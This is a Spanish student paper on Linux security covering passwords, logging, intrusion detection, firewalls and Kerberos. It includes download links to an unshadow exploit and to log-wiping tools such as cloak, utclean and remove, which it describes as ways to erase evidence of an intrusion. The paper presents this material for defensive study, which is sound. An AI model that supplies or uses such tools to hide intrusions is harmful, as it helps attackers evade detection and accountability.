SEGURIDAD EN LINUX


Indice

1. Introducción

1.1 Problemática de la Seguridad en las Redes

1.2La seguridad y el Sistema Operativo Linux

2. Seguridad Física

2.1 Centro de operaciones de red

2.2 Topología de la red

2.3 Protección del hardware de red

3.Seguridad de Contraseñas de Acceso

3.1 El archivo /etc/passwd

3.2 El archivo /etc/shadow

3.3 Ataques al archivo /etc/shadow

4. Logs y sistemas de detección de intrusiones

4.1 Logging

4.2 Como borrar los logging del sistema

4.3 Ejemplos prácticos

4.4 El demonio syslog

4.5 Sistemas de detección de intrusiones

5.Firewalls en Linux

5.1 Definición de Firewall

5.2 Componentes de un Firewall

5.3 Arquitecturas de los Firewall

6.Kerberos

6.1 Que es Kerberos

6.2 Arquitectura de Kerberos

6.3 Protocolo de autentificación de Kerberos

6.4 Problemas de Kerberos

7.Caballos de Troya

7.1 Que es un Troyano

7.2 Ejemplo de un Troyano en Linux



1. INTRODUCCIÓN

1.1Problemática de la Seguridad en las Redes

Hace unos diez años el problema de la seguridad en el mundo de la informática y las redes era mínimo ya que solo una minoría de la población disponía de ordenadores y aun una menor cantidad de ellos poseían una red. En la actualidad todo aquello ha cambiado Internet ha crecido desmesuradamente desde sus inicios como la red militar ARPANET y en la actualidad gran parte de la población tiene acceso a Internet, la red de redes a nivel mundial, desde el hogar, el lugar de trabajo o el lugar de estudio(Aunque España estemos muy lejos de llegar a la media de EEUU y de el resto de Europa). Este aumento de usuarios ha provocado el aumento masivo de información en la red pero también ha provocado la aparición de usuarios que pretenden acceder a información privada con unos fines muy distintos, en ocasiones tan solo por mera curiosidad y en otros casos para obtener un beneficios utilizando estos datos.

El crecimiento de la red la ha convertido en un entorno hostil donde todos los días se libran batallas entre los hackers, usuarios perniciosos que intentan acceder ilícitamente a sistemas informáticos de otras personas, y los administradores de sistemas, responsables de los sistemas informáticos una de cuyas funciones(entre otras muchas) es la de velar por la seguridad de los sistemas informáticos y la información que contienen.

1.2La Seguridad y el Sistema Operativo Linux

Aunque el Sistema Operativo Linux es mucho mas seguro que algunos de los sistemas operativos que monopolizan el mercado, Linux debe ser configurado de forma adecuada para conseguir ese grado de seguridad, de otro modo el grado de seguridad que Linux puede ofrecer es similar al resto de sistemas operativos. La responsabilidad de configurar Linux recae en la mayoría de ocasiones sobre el Administrador.

En Linux al igual que en todos los sistemas operativos aparecen continuamente bugs y back oriffices en las aplicaciones o en el mismo sistema operativo que permiten conseguir unos determinados privilegios en el sistema a usuarios no autorizados, es obligación del Administrador el conocer con la mayor prontitud posible la existencia de estos fallos de seguridad y de aplicar los correspondientes correcciones en el sistema para evitarlo.

Es el objetivo de este trabajo el de dar una visión muy general del campo de la seguridad en Linux, ya que el tema es muy amplio y podrían escribirse millones de paginas. Para mas información consultar la bibliografía en las paginas finales.

2. SEGURIDAD FÍSICA

2.1Centro de operaciones de red

El atacante que lo tiene mas fácil es aquel que ya tiene una serie de privilegios en el sistema, aunque estos solamente sean una cuenta de acceso muy restringido. Así pues antes de pensar en los posibles atacantes externos a nuestro sistema debemos preocuparnos de la seguridad interna de nuestra red, es decir quienes de nuestros empleados acceden a ella y con que permisos. Partiendo de esta premisa llegamos a lanecesidad de la creación de un ?Centro de Operaciones de Red? .

Un Centro de Operaciones de Red consiste en un area restringida en la que se encuentran los servidores. Estos deben estar fijados al suelo de alguna manera junto con el hardware de red esencial, a este centro de operaciones deberían tener acceso un numero mínimo de personas y todas aquellas personas que estén autorizadas deberían tener claves. También merece la pena llevar un control de todos los accesos que se realizan a la sala de computadores. Si el presupuesto de la empresa lo permite se deben instalar sistemas de vigilancia como circuitos cerrados de TV o imágenes instantáneas secuenciales.

2.2Topología de la red

La topología de red se compone de la distribución de la red, sus distintos componentes y la forma en que se conectan entre sí. La topología de red determina el modo en que se conectan los dispositivos de hardware y la forma en que fluye la información a través de dichas conexiones por ello esa muy relacionado con la seguridad. (No solo en Linux sino en todos los sistemas operativos).

Existen muchas topologías de red pero las mas utilizadas en las redes de area local son tres: bus, anillo y estrella.

A continuación se describen los principales problemas de seguridad de cada tipo de redes(se suponen ya conocidas por el lector las características de cada tipo de red, en caso de no ser así consultar la bibliografía):

Topología de Bus: esta topología no es la mejor bajo Linux que normalmente utiliza tecnología cliente-servidor, al utilizar un único cable el numero de colisiones aumenta considerablemente y el servidor solo puede procesar una petición a la vez. Además posee una debilidad muy peligrosa, esta topología es muy vulnerable ante las escuchas(sniffers), cualquier estación de trabajo puede interceptar transmisiones dirigidas a sus vecinas.

Topología de Anillo en la topología de anillo sigue existiendo un único cable como en la topología de bus, pero mientras en la topología de bus una estación podía caer y el resto de estaciones seguir funcionando como si nada hubiese ocurrido, aquí en el caso de que falle una estación el resto quedarían incomunicadas ya que el paquete no puede circular a través del anillo. Esta topología es muy vulnerable a escuchas(sniffers) ya que los paquetes atraviesan un gran numero de estaciones de trabajo hasta llegar a su destino. También es vulnerable a ataques de denegación de servicio ya que haciendo caer una de las estaciones el resto quedan incomunicadas.

Topología de Estrella: la topología de estrella se caracteriza porque al contrario que en las anteriores topologías las estaciones de trabajo no están interconectadas entre si directamente, sino que se interconectan a través de un dispositivo hardware(un switch o un hub). Esto elimina el problema de que si nuestro atacante hace caer una estación caigan las otras, el problema viene si el atacante consigue hacer caer el dispositivo hardware que interconecta todas las estaciones. Otra importante ventaja de la topología de estrella es que con hardware de red avanzado se puede segmentar la red(dividirla en islas) y proteger el flujo de datos mediante el cifrado.

2.3Protección del Hardware de red

La protección del hardware de red es muy importante en todas las redes ya que haciendo caer los dispositivos hardware que integran nuestra red los atacantes la pueden dejar totalmente inutilizada, los puntos vulnerables del hardware de red son mucho menores a aquellos que encontramos en el software. En la mayoría de casos los riesgos de seguridad del hardware de red se deben a usuarios inexpertos o a errores en la configuración. Un ejemplo típico de estos fallos suele ser no activar el cifrado o no eliminar las cuentas por defecto que vienen de fabrica en los dispositivos y que no necesitan contraseña. Así pues deben tomarse una serie de medidas:

-Definir siempre las contraseñas de administración para evitar que los atacantes puedan acceder al sistema a través de valores predeterminados.

-La mayoría de routers admiten cifrado pero este no se emplea por defecto. Es necesario activarlo.

-Si el hardware de red contiene otras opciones de seguridad como opciones de verificación por expiración del tiempo de espera o por sesiones, utilizarlas evitará que los atacantes puedan tomar el control y burlar las sesiones.

-Si no se necesita alguno de los servicios(telnet, ftp,.....) desactívelo puesto que puede ser el punto de entrada de los atacantes.



3. SEGURIDAD DE CONTRASEÑAS DE ACCESO

3.1 El archivo /etc/passwd

En el sistema operativo Linux todo usuario tiene una cuenta mediante la que accede al sistema operativo ya sea de forma remota mediante servicios de gestión remota(como telnet) o directamente en la maquina. Cada cuenta de usuario se compone de:

-Un identificador único en toda la maquina al que llamaremos login

-Un password que corresponderá a ese login

-Un userid o numero de identificación del usuario. Este numero se adjuntará con cada uno de los procesos de ese usuario. Aunque se puede elegir cualquier numero entre 0 y el 65534 es conveniente reservar un bloque de números específicamente para los usuarios.

-Un groupid o numero de identificación del grupo que refleja el grupo nativo del usuario. Los usuarios pueden pertenecer a muchos grupos pero siempre tienen un grupo nativo que es el que se les asigna al entrar en el sistema.

-Un campo en el que se escribe el nombre real

-Un campo donde se define el directorio de trabajo del usuario dentro de la jerarquia de directorios de linux.

-Un campo donde se almacena la shell(interprete de comandos) utilizará por defecto el usuario cuando entre en el sistema.

Toda esta información es almacenada por el sistema operativo Linux para cada usuario en el archivo /etc/passwd, este archivo es un archivo de texto en donde cada linea contiene la información de arriba relativa a un usuario separando cada campo por dos puntos. Dado que el archivo tiene permisos de lectura para todos los usuarios de la máquina supone un riesgo nada recomendable que en el segundo campo aparezca la password(aunque esta aparezca encriptada).

El sistema de encriptación que se utiliza en la password es un estandar definido hace aproximadamente 25 años: DES(Data Encryption Standart). Este estandar es vulnerable a los ataques con diccionario, un ataque con diccionario consiste en codificar utilizando DES palabras comunes que los usuarios pueden haber utilizado como contraseña y compararla con el segundo campo del archivo /etc/passwd en caso de ser iguales el atacante ya ha conseguido una cuenta de usuario. Para realizar un ataque con diccionario el atacante necesita tener acceso al archivo /etc/passwd por ello debera tener ya una cuenta en el sistema o conseguir entrar mediante otros metodos(como por ej. Contraseñas por defecto, trashing,....).

Existen herramientas que facilitan el ataque con diccionario con multiples opciones, las mas comunes son Crack, John the Ripper, Lard,......



3.2 El archivo /etc/shadow

Dada la vulnerabilidad del archivo /etc/passwd de los sistemas Linux se ha creado un paquete de shadow(Password Shadow Suite), instalando el paquete shadow el archivo /etc/passwd sigue siendo legible por todos los usuarios pero las contraseñas del sistema no se encuentran en él, en su lugar las contraseñas de los usuarios se almacenan en /etc/shadow que solo tiene permisos de lectura y escritura para el root, también en este caso las contraseñas se encuentran encriptadas con DES.

Ademas de almacenar las contraseñas de los usuarios encriptadas, el archivo /etc/shadow ofrece una serie de reglas especiales sobre las contraseñas para aumentar la seguridad del sistema. El /etc/shadow tiene una estructura similar al /etc/passswd, los campos están separados por dos puntos(existen nueve campos) y son los siguientes:

-El nombre del usuario

-La contraseña del usuario encriptada en DES

-El numero de días desde el 1 de enero de 1970, fecha en que se cambió la contraseña por ultima vez

-El numero de días que quedan antes de que se permita al usuario cambiar su contraseña

-El numero de días que quedan antes de que el usuario tenga que cambiar su contraseña

-El numero de días de antelación con que se avisa al usuario de que pronto tendrá que cambiar su contraseña

-El numero de días que quedan para que el usuario cambie su contraseña antes de que su cuenta sea cancelada

-El numero de días desde el 1 de enero de 1970 que la cuenta ha sido cancelada

-El último campo esta reservado

Estas opciones obligan al usuario a cambiar su contraseña obligatoriamente cada cierto tiempo(especificado en el campo numero cinco) ya que se puede especificar que en caso contrario la cuenta quede bloqueada.

El paquete shadow lleva múltiples utilidades para la gestión de usuario, grupos y contraseñas. Algunos de los comandos son sustitutos para comandos ya existentes en Linux estándar como por ej. su, login, passwd, .....etc. ya que estos comandos anteriormente solamente utilizaban el archivo /etc/passwd y con el paquete shadow instalado deberán utilizar /etc/passwd y /etc/shadow. También existen comandos nativos del paquete shadow que no existían en Linux estándar como por ej. pwck(utilizado para realizar la verificación de los campos entre /etc/shadow y /etc/passwd), groupadd(para añadir nuevos grupos), etc. (Para ver una lista completa de los comandos que ofrece consultar la bibliografía)

Aunque el paquete shadow aumenta considerablemente la seguridad de las contraseñas de nuestro sistema existen bugs que pueden permitir acceder igualmente al archivo y hay que recordar que cualquier usuario que consiga privilegios de root en el sistema puede acceder a el.

3.3 Ataques al archivo /etc/shadow

A continuación se va a describir un ataque común al archivo /etc/shadow y van a ser probados por mi en un sistema Linux Red Hat 7.1 con el Kernel 2.4, el entorno KDE 2.1 y GNOME 1.4 y también serán probados en una maquina IBM con el sistema operativo AIX (anubis).

En la maquina Linux el archivo passwd se encuentra en /etc/passwd y el shadow en /etc/passwd en la maquina con AIX passwd se encuentra en /etc/passwd y shadow en el directorio /etc/security sobre el que no tenemos permisos en el archivo passwd.

Ataque basado en unshadow.c

El codigo fuente del siguiente exploit se encuentra en la siguiente dirección:
http://fringe.davesource.com/Fringe/Hacking/Hacks/Tools/unshadow.c
El exploit hace llamadas sucesivas a la función getpwent() del sistema operativo linux para conseguir el archivo de password sin las shadow.

Resultados de la aplicación del exploit a la maquina AIX

El resultado muestra el archivo de passwd pero con un * en el segundo campo(en caso del archivo real /etc/passwd aparecia un signo de admiración). Al no aparecer las password encriptadas en el segundo campo podemos decir que el ataque ha sido fallido.
/etc/passwd
al014401:!:9928:238:Javier Soto Carceller,:/alu/tif/al014401:/usr/bin/ksh
/etc/passwd con el exploit
al014401:*:9928:238:Javier Soto Carceller,:/alu/tif/al014401:/usr/bin/ksh

Resultados de la aplicación del exploit a la maquina Red Hat 7.1

Los resultados en la maquina Red Hat son similares a los obtenidos en la maquina AIX, por lo que es muy probable que este exploit sea antiguo y el agujero de seguridad haya sido corregido en la mayoría de distribuciones Linux.


4. LOGS Y SISTEMAS DE DETECCIÓN DE INTRUSIONES

4.1 LOGGING

Se puede definir logging como cualquier procedimiento por el que un sistema operativo o aplicación graba eventos mientras ocurren y los guarda para un examen posterior. En el contexto de la seguridad el logging se utiliza para preservar un registro de las acciones dañinas de un atacante. Los logs ofrecen la única evidencia real de que ha ocurrido un delito.

El Linux los archivos de logging se guardan en el directorio /var/log

Analicemos mas exhaustivamente las utilidades que generan los archivos log en el sistema operativo Linux:

-Lastlog: da formato e imprime los contenidos del ultimo log login(var/log/lastlog), Se imprimirán el nombre del login, puerto y la última hora del login. Por defecto lastlog informa de todos los usuarios del sistema(aquellos enumerados en /etc/passwd). Se puede especificar que solo muestre información de un usuario mediante la opción -u.

-Last: busca a través del archivo /var/log/wtmp u otro archivo designado por el administrador para almacenar los logs y muestra una lista de todos los usuarios que han entrado(log in) y salido(log out) del sistema desde que se creó el archivo. Last almacena los siguientes datos:

oNombre de usuario(login)

oLa terminal(o servicio) que utilizo el usuario

oLa dirección IP del usuario

oLa fecha y hora entrada y salida

oLa duración de la sesión

La orden last soporta varias opciones en la línea de comandos que son las siguientes:

-aMediante esta opción last mostrará la información del nombre de host en el último campo

-d Esta opción especifica que last mostrará no solo el nombre del host del objetivo sino también su dirección IP

-n [numero] Mediante esta opción se puede especificar cuantas líneas se desea imprimir de last.

-REsta opción especifica que last debería omitir el campo del nombre del host de salida.

-x Esta opción especifica que last debe mostrar las recargas del sistema y ejecuciones de cambio de nivel



4.2 Como borrar los logging del sistema

Los atacantes a nuestro sistema saben que /var/log/lastlog y /var/log/wtmpd pueden descubrirlos. Por tanto todos los atacantes tienen programas que sortean y burlan los sistemas de logging predefinidos por el sistema operativo.

He aquí una lista de algunos de los programas que son utilizados con esta finalidad

-cloak: Funciona no solo con Linux sino también en otros sistemas operativos como Ultrix y HP/UX. Se puede bajar de la siguiente dirección:

http://agape.trilidun.org/~wart/hack/programhiders/clear_log/cloak.c

-cloak2: Según su autor es una poderosa herramienta de shadowing que puede encontrarse en:

http://www.k-elektronik.org/arsip/eksploit/stealthtools/cloak2.c

-utclean: Es una utilidad que elimina cualquier evidencia de nuestra presencia en wtmp, wtmpx, utmp, utmpx y lastlog. Se encuentra en:

http://www.hoobie.net/security/exploits/hacking/utclean.c

-remove: limpia utmp, wtmp y lastlog borrando todo evidencia de nuestra presencia, se dice que remove es uno de los mejores programas con esta finalidad puesto que elimina las entradas de los archivos sin dejar huecos. (Los huecos pueden ser una pista segura para el administrador si es un poco observador). Remove se puede conseguir en:

http://nmrc.org/files/unix/remove.c

-Utmpedit: es un editor utmp sencillo y rápido. Puede bajarse en:

http://www.k-elektronik.org/arsip/eskploit/stealth-tools/utmpedit.c

-Marry: es un editor potente de utmp, wtmp y lastlog. Puede encontrarse en:

http://www.society-of-shadows.com/exploits/bin/marry.c

Todas estas paginas web pueden haber desaparecido debido al dinamismo de internet sobre todo en lo que a temas de seguridad se refiere(de todas maneras puede buscar estos programas y muchos mas en www.astalavista.com).

También hay que tener en cuenta que estos programas solo tienen en cuenta los logging estandar del sistema por lo que si los administradores instalan una herramienta de logging no estandar es posible que estos programas limpiadores de log no funciones y si el atacante no es muy experimentado pensara que su intrusión no es conocida por los administradores del sistema. Otra buena medida de seguridad aparte de las herramientas de logging no estandar consistira en escribir los logs en un medio que permita una sola escritura o un servidor de log remoto.



4.3 Ejemplos prácticos

Para la realización de estos ejemplos se han utilizado la distribución red hat 7.1, en esta distribución los archivos de log se situan en /var/log/wtmp y /var/log/lastlog(he hecho esta aclaración porque en los paths que especifica cloak aparecen otros directorios).

Ejecutando en el sistema ?lastlog? aparece:

 
Username         Port     From             Latest
root             :0                        jue ago 23 09:13:01 +0200 2001
al014401         :0                        sáb ago 25 09:15:16 +0200 2001
Con la última fecha en que los usuarios del sistema entraron en el. Aparecen muchas otras cuentas que no merece la pena citar(cuantos por defecto y por tanto inactivas) que se crean por defecto en el sistema como por ej.
bin                                        **Never logged in**
daemon                                     **Never logged in**
adm                                        **Never logged in**
 
Aunque existen muchas mas no merece la pena poner toda la lista.
Ejecutando en el sistema ?last? aparece:
 
al014401 pts/1                         Sat Aug 25 09:21   still logged in   
al014401 pts/3                         Sat Aug 25 09:20 - 09:20  (00:00)    
al014401 pts/2                         Sat Aug 25 09:20   still logged in   
 
wtmp begins Sat Aug 25 09:20:22 2001
 
        Aparece solamente un usuario debido a que el comando ?last? inicializa el archivo /var/log/wtmp cada vez que arranca el sistema operativo, como acabábamos de arrancar el sistema y solamente ha entrado el usuario al014401, solo aparece esta cuenta en el sistema.
 
Se ha intentado utilizar ?cloak? para borrar automáticamente los logs del sistema operativo, en un principio el programa da warnings en la compilación:
cloak.c: In function `lastzap':
cloak.c:573: warning: type mismatch with previous implicit declaration
cloak.c:497: warning: previous implicit declaration of `lseek'
 
Ignorando estos warning y una vez compilado el programa el programa da errores de ejecución, revisando el código fuente podemos ver que los directorios donde cloak especifica donde se encuentran los archivos de log no se corresponden con los de nuestro sistema, cambiando esos directorios y recompilando sigue dando errores de ejecución cosa nada extraña puesto que ?cloak? data de 1983 y la versión de linux utilizada data del presente año.


4.4 El demonio syslogd

El demonio syslogd se lanza automáticamente al arrancar el sistema Linux y es el encargado de guardar informes sobre el funcionamiento de la maquina. Recibe mensajes de las diferentes partes del sistema(núcleo, programas,....) y los envía o almacena en diferentes localizaciones, tanto locales como remotas siguiendo un criterio definido en el fichero de configuración /etc/syslog.conf donde especificamos las reglas a seguir para gestionar el almacenamiento de logs del sistema. En el archivo /etc/syslog/ cada regla tiene dos campos un campo de selección y un campo de acción, separados por espacios y tabuladores:

-El campo de selección esta formad de dos partes una del servicio que envía el mensaje y otra de su prioridad, separadas por un punto, ambas son indiferentes a mayúsculas y minúsculas. La parte del servicio contiene una de las siguientes palabras clave: auth, auth-priv, cron, daemon, kern, lpr, mail, mark, news, security, syslog, user, uucp y local 10 hasta local 17. Esta parte especifica el subsistema que ha generado ese mensaje. La prioridad esta compuesta de uno de los siguientes terminos: debug, info, notice, warning, warn, err, error, crit, alert, emerg y panic. La prioridad define la gravedad o importancia del mensaje almacenado. La lista de arriba se ha escrito en orden ascendente.

-El campo de acción describe el destino de los mensajes que puede ser:

Un fichero plano: normalmente todos los mensajes del sistema son almacenados en ficheros planos, en este caso hemos de especificar el path completo.

Un terminal: existe la posibilidad de enviar los mensajes a una determinada terminal, de este modo podemos tener uno de los terminales virtuales(que los sistemas Linux ofrecen) dedicado a listar los mensajes del sistema que podrán ser consultados solo cambiando a ese terminal.

Una tubería con nombre: algunas versiones de syslogd permiten enviar registros a ficheros de tipo pipe anteponiendo el carácter ?|? al path donde se encuentra el archivo pipe, este archivo debe de existir antes de iniciar el demonio syslog para que sea accesible.

Una maquina remota: se pueden enviar los mensajes del sistema a otra máquina, de manera que se almacenarán remotamente, esto es util si tenemos una maquina segura en la que podemos confiar, ya que de esta manera los mensajes no se podrán modificar aunque los atacantes consigan introducirse en nuestra maquina.

Unos usuarios del sistema: se especifica una lista de usuarios que recibiran los mensajes para ello hay que escribir los login separados por comas.

Todos los usuarios que esten conectados



4.5 Sistemas de detección de intrusiones

La detección de intrusiones consiste en utilizar herramientas inteligentes y automáticas para detectar intentos de intrusión en tiempo real. Esas herramientas se llaman sistemas de detección de intrusiones. Existen dos tipos de sistemas de detección de intrusiones:

-Sistemas basados en normas: basados en bibliotecas y bases de datos de ataques y firmas responsables de ataques conocidos. Cuando en la red se da una norma de las que existen esta se almacena como intento de intrusión en el sistema. El problema que tiene esto es que las bases de datos de ataques deben estar siempre actualizadas ya que aparecen nuevos ataques constantemente, además en ocasiones las reglas pueden ser demasiado especificas y no registrar como ataques aquellos que varíen ligeramente su forma de actuación.

-Sistemas adaptables: emplean técnicas mas avanzadas que los anteriores, incluyendo la inteligencia artificial, para reconocer firmas de ataque conocidas como los anteriores y para aprender otras nuevas. Su desventaja es que estos sistemas son de muy alto coste y necesitan personal de mantenimiento altamente cualificado(conocimientos avanzados de matemáticas y estadística).

En los sistemas de detección de intrusiones basados en normas hay dos métodos:

-Prevención: la herramienta de detección de intrusiones escucha el trafico de la red. Cuando se detecta una actividad sospechosa por parte de algún usuario, el sistema actúa de la manera que le hayamos especificado nosotros para evitar el ataque.

-Reacción: la herramienta de detección de intrusiones observa los logs del sistema. Cuando se detecta una actividad sospechosa actúa para evitar el ataque.

Como conclusión podemos sacar que los sistemas de detección de intrusiones son un muy buen complemento para las logging que ofrece el sistema operativo y tienen la ventaja de que si el atacante no es muy experimentado este no sabrá que disponemos de ellos. Algunos ejemplos de estos sistemas son:

-Chkwtmp: es una herramienta que detecta las alteraciones en los archivos log del sistema.

-Tcplogd: tcplogd detecta rastreos silenciosos de los atacantes. (Un rastreo silencioso consiste en utilizar conexiones medio abiertas difíciles de detectar para escanear una determinada máquina.)

-Hostentry: es una herramienta de detección de intrusiones que busca anomalias de login. Esta escrito en Python.

-Shadow: es otro detector de rastreos silenciosos como Tcplogd.

5. FIREWALLS EN LINUX

5.1 Definición de Firewall

Un firewall es un dispositivo que evita que entren atacantes en nuestra red interna. Nos protege de el entorno hostil del exterior. Un firewall puede evaluar si las personas que acceden a nuestra red (o a nuestro ordenador) están autorizadas para ello, cuando un host no autorizado realiza peticiones a nuestra máquina sus peticiones son ignoradas.

Así podemos decir que los firewall desarrollan dos tipos de tareas:

-Filtro y análisis de paquetes: los firewall analizan los paquetes entrantes de múltiples protocolos. Según el tipo de paquete y su procedencia podemos definir la respuesta que queremos que de el firewall.

-Bloqueo de protocolo y contenido: los firewall permiten proteger contenidos, con esto quiere decir que nos pueden proteger del código dañino incluido en lenguajes como Java, Javascript, VBScript, Actives y otros.

Un firewall normalmente consta de una maquina independiente, a esta maquina se le denomina host bastión y este host tiene como función ser el punto de enlace entre las maquinas de la red interna y el resto de maquinas y redes que componen la red externa, todo lo que salga y entra de nuestra red deberá pasar obligatoriamente por este host, este host se encarga de esconder la configuración de nuestra red hacia fuera. Ademas los firewall presentan los chokes, un choke es un dispositivo hardware encargado de filtrar el trafico de nuestra red, se encarga de permitir o denegar el tráfico a través del firewall, puede ser implementado mediante el host bastión o mediante otros dispositivos hardware(routers, etc...).

Los firewall presentan dos graves problemas de seguridad el primero de ellos centralizan todas las medidas en un único sistema de forma que si este se ve comprometido y el resto de nuestra red no esta lo suficientemente protegido el atacante consigue dejar fuera de servicio a toda nuestra subred consiguiendo el control de una sola maquina, el segundo problema es la falsa sensación de seguridad que el firewall proporciona, el administrador suele pensar que la seguridad de la red es muy alta una vez instalado el firewall y por eso descuida la vigilancia de los equipos de la red, esto puede tener consecuencias fatales si un usuario externo consigue acceder a nuestro firewall ya que como hemos dicho en el primer inconveniente se haría con toda nuestra red. Ademas el firewall no evita los ataques de los usuarios internos de nuestra red.

5.2 Componentes de un firewall

En todo firewall existen tres componentes básico para los que debemos implementar mecanismos: el filtrado de paquetes, el proxy de aplicación y la monitorización y detección de actividades sospechosas.

 

Filtrado de paquetes

Cualquier router(el filtrado también lo puede llevar a cabo el host bastión) IP utiliza reglas de filtrado para reducir la carga de la red, el filtrado se puede utilizar para determinar diferentes políticas de seguridad en una red, el objetivo de todas estas políticas es el de evitar el acceso no autorizado entre dos redes, pero manteniendo intactos los accesos autorizados. El funcionamiento es el siguiente: se analiza la cabecera de cada paquete y en función de una serie de reglas establecidas de antemano la trama es bloqueada o se le permite seguir, estas reglas suelen contemplar el protocolo, las direcciones fuente y destino, etc.
Las reglas se especifican mediante una tabla de condiciones y acciones que se consulta en orden hasta encontrar una regla que permita tomar una decisión sobre el bloqueo o el reenvio de la trama. La forma de generar las tablas dependerá del sistema operativo sobre el que trabajemos (Linux, AIX, Solaris,....)
La especificación incorrecta de las reglas en la tabla es uno de los principales problemas de seguridad, no obstante el mayor de los problemas es que un sistema de filtrado de paquetes instaurado en un router no es capaz de analizar datos situados por encima del nivel de red OSI.

Proxy de aplicación

Además del filtrado de paquetes los firewall utilizan aplicaciones software para reenviar o bloquear conexiones a servicios como finger, telnet o ftp; a tales aplicaciones se les denomina servicios proxy y la maquina donde son ejecutadas se le llama pasarela de aplicación.
Los servicios proxy ofrecen una serie de ventajas de seguridad, permiten únicamente la utilización de servicios para los que existe un proxy, por lo que si en nuestra empresa la pasarela de aplicación contiene únicamente proxies para telnet el resto de servicios no estarán disponibles para nadie.(no existirá ni http, ni ftp,....), una segunda ventaja es que en la pasarela de aplicación es posible filtrar protocolos basándose en algo mas que la cabecera de las tramas, lo que hace posible desactivar determinados comandos para un determinado servicio por ej. restringiendo las ordenes del ftp para que nadie pudiese subir información al servidor, además simplifica las reglas de filtrado de paquetes implementadas normalmente en el router. El principal inconveniente para instalar una pasarela de aplicación que cada servicio que necesitemos ofrecer necesitará un proxy propio.
Una variante de las pasarelas de aplicación la forman las pasarelas de nivel de circuito, sistemas capaces de redirigir conexiones pero que no pueden procesar o filtrar paquetes en base al protocolo utilizado, se limitan en autenticar al usuario antes de establecer el circuito virtual entre los dos sistemas. La principal ventaja es que proveen de servicios a un amplio numero de protocolos, pero necesitan software especial que tenga llamadas al sistema sustituidas por funciones de librería seguras.

Monitorización de la actividad

Monitorizar la actividad de nuestro firewall es algo indispensablepara la seguridad de toda nuestra red. La monitorización nos facilitará información sobre los intentos de ataque que estemos sufriendo, así como las existencias de tramas que aunque no supongan un ataque son sospechosas. La información monitorizada debe ser los registros estándar(los que incluyen estadísticas de tipos de paquetes recibidos, frecuencias o direcciones fuente y destino), intentos de falsificación de dirección usando direcciones de origen de maquinas internas a la red, intentos de uso de protocolos denegados y tramas recibidas desde routers desconocidos. Todos estos registros han de ser leidos con frecuencia por el administrador de la red que deberá tomar medidas en el caso de que detecte actividades sospechosas, si la cantidad de logs es muy elevada nos puede interesar el uso de herramientas que filtren dicha información.
Una manera de mejorar la seguridad a través de nuestro cortafuegos es el uso de herramientas trampa, estas herramientas sustituirán a los servicios reales y consisten en aplicaciones que sustituirán dichos servicios simulándolo de forma que es posible que el atacante piense que el servicio esta habilitado y prosiga intentando hacerse con el control de nuestra máquina pero en realidad lo que esta haciendo es enviarnos todos los datos sobre el que nos permitirán descubrirle. Este tipo de programa permite detectar y notificar ataques mientras el atacante permanece entretenido creyendo que ha conseguido sus propósitos.

5.3 Arquitecturas de los firewall

Firewall de filtrado de paquetes

Una arquitectura muy sencilla puede consistir en un dispositivo encargado del filtrado de paquetes(un choke), esta es la arquitectura de los firewall mas antiguos, los mas simples de implementar y suele estar en organizaciones donde el nivel de seguridad requerido no es muy alto. Elegir un firewall tan sencillo en ocasiones puede ser problemático ya que los chokes no disponen de un sistema de monitorización sofisticado por lo que muchas veces el administrador no puede determinar si el router esta siendo atacado, además las reglas de filtrado pueden ser complejas de establecer.

Dual-Homed-Host

Este modelo ya es mas complejo que el anterior, esta formado por máquina Linux(Unix) equipadas con dos tarjetas de red denominadas anfitriones de dos bases en las que una de las tarjetas se suele conectar a la red interna a proteger y la otra a la red externa a la organización. En esta configuración el choke y el bastión coinciden en la máquina Linux. El sistema Linux tiene que ejecutar al menos un servidor proxy para cada uno de los servicios que deseemos que puedan pasar a traves del firewall, todo el intercambio de datos se debe realizar a través del host bastión.

Screeened Host

Esta arquitectura combina un router con un host bastión. En la maquina bastión, único sistema accesible desde el exterior, se ejecutan los proxies de las aplicaciones, mientras que el choke se encargará de filtrar los paquetes que se puedan considerar peligrosos para la seguridad de la red interna, permitiendo únicamente la comunicación con un reducido número de servicios.

Screened Subnet

Esta arquitectura añade un nivel de seguridad a las arquitecturas anteriores ya que añade un nivel de seguridad situando una subred entre las redes interna y externa.de forma que se consiguen reducir los efectos de un ataque exitoso al host bastión en los modelos anteriores toda la seguridad se centraba en el bastión(excepto en el primero que no tenia bastión y estaba compuesto únicamente por un choke), la maquina bastión es el objetivo de muchos atacantes porque saben que de este modo tendrán acceso a toda nuestra red, esta arquitectura intenta aislarla de formo que el intruso que tenga acceso al bastión no lo tenga a la red protegida.
Existen otros tipos de arquitecturas pero estas son las mas extendidas.



6. KERBEROS

6.1 Que es ?Kerberos?

Kerberos es un sistema de autentificación a redes de computadores utilizado por Linux y otros sistemas Unix, es decir, un sistema que da o deniega el acceso a determinados usuarios o maquinas a una determinada red. Se encuentra disposnible un muchos de los sistemas Linux y viene integrado en el OSF/DCE(Distributed computing environment). Esta recomendado para sistemas operativos distribuidos en los que la autenticación es una pieza fundamental para su funcionamiento, el servidor debe conocer la identidad de un cliente para decidir sobre la concesión de un servicio o la asignación de privilegios especiales.

El uso de Kerberos se produce principalmente en el login, en el acceso a otros servidores y en el acceso a sistemas de ficheros en red como el NFS(soportado por Linux). Kerberos se puede implementar en un servidor que se ejecute en una maquina segura mediante un conjunto de bibliotecas que utilizan tanto los clientes como las aplicaciones, se trata de un sistema fácilmente escalable y que admite replicación.

6.2 Arquitectura de Kerberos

Un servidor Kerberos se denomina KDC y provee de dos servicios fundamentales: el de autenticación y el de tickets. El primero tiene la función de autentificar inicialmente a los clientes y proporcionarles un ticket para comunicarse con el segundo, el servidor de tickets que proporcionará a los clientes los permisos necesarios para comunicarse con un servidor final que es quien realmente ofrece un servicio.

La arquitectura Kerberos esta basada en tres objetos de seguridad: ?Clave de sesión?, ?Ticket? y ?Autentificador?

-Clave de sesión: es una clave secreta generada por Kerberos y expedida a un cliente para uso con un servidor durante una sesión: no es obligatorio utilizarla en toda la comunicación con el servidor, solo si el servidor lo requiere o si el servidor es un servidor de autentificación. Las claves de sesión se utilizan para minimizar el uso de las claves secretas de los diferentes agentes ya que estas son validas durante mucho tiempo por lo que es conveniente para minimizar ataques utilizarlas lo menos posible.

-El ticket: es un testigo expedido a un cliente del servicio de tickets de Kerberos para solicitar los servicios de un servidor; garantiza que el cliente ha sido autentificado recientemente.

-El autenticador es un testigo construido por el cliente y enviado a un servidor para probar su identidad y la actualidad de la comunicación.

